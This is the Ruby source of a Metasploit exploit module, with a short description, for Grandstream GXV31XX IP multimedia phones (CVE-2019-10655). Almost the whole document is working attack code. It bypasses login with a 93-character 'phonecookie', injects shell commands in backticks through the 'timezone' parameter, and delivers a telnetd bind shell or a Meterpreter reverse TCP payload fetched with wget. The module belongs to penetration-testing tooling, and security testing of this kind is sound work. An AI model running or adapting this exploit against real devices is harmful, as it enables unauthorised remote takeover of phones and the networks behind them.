This Metasploit module exploits a command injection vulnerability in Grandstream GXV31XX IP multimedia phones. The settimezone action does not validate input in the timezone parameter allowing injection of arbitrary commands. A buffer overflow in the phonecookie cookie parsing allows authentication to be bypassed by providing an alphanumeric cookie 93 characters in length. This module was tested successfully on Grandstream models: GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19; and GXV3140 hardware revision V0.4B with firmware version 1.0.1.27.
a4538e98faa929ca4cac7c9198c701a3##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Deprecated
moved_from 'exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec'
HttpFingerprint = { pattern: [ /Multimedia Phone/ ] }.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => "Grandstream GXV31XX 'settimezone' Unauthenticated Command Execution",
'Description' => %q{
This module exploits a command injection vulnerability in Grandstream GXV31XX
IP multimedia phones. The 'settimezone' action does not validate input in the
'timezone' parameter allowing injection of arbitrary commands.
A buffer overflow in the 'phonecookie' cookie parsing allows authentication
to be bypassed by providing an alphanumeric cookie 93 characters in length.
This module was tested successfully on Grandstream models:
GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19; and
GXV3140 hardware revision V0.4B with firmware version 1.0.1.27.
},
'Author' => [
'alhazred', # Command injection vulnerability discovery and exploit
'Brendan Scarvell', # Auth bypass discovery
'bcoles' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => %w[unix linux],
'References' => [
[ 'CVE', '2019-10655' ],
[ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=23920' ],
[ 'URL', 'https://github.com/dirtyfilthy/gxv3175-remote-code-exec/blob/master/modules/exploits/linux/http/grandstream_gxv3175_cmd_exec.rb' ]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2016-09-01',
'Privileged' => true,
'CmdStagerFlavor' => %w[wget],
'Targets' => [
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'
}
}
],
[
'Linux (ARMLE)', {
'Arch' => ARCH_ARMLE,
'Platform' => 'linux',
'DefaultOptions' => {
'PrependFork' => true,
'MeterpreterTryToFork' => true,
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'wget'
}
}
],
],
'DefaultTarget' => 0
)
)
end
def send_manager_request(vars_get)
send_request_cgi(
'uri' => '/manager',
'cookie' => "phonecookie=\"#{rand_text_alpha(93)}\"",
'vars_get' => vars_get
)
end
def check
res = send_manager_request(
'action' => 'settimezone',
'timezone' => ''
)
if res && res.code == 200 && res.body.to_s.include?('Response=Success')
return CheckCode::Detected('phonecookie authentication bypassed successfully.')
end
CheckCode::Safe
end
def execute_command(cmd, _opts = {})
res = send_manager_request(
'action' => 'settimezone',
'timezone' => "`#{cmd}`"
)
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
end
unless res.body.to_s.include?('Response=Success')
fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
end
end
def exploit
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(
linemax: 220, # 255 minus URL encoding
background: true
)
end
end
end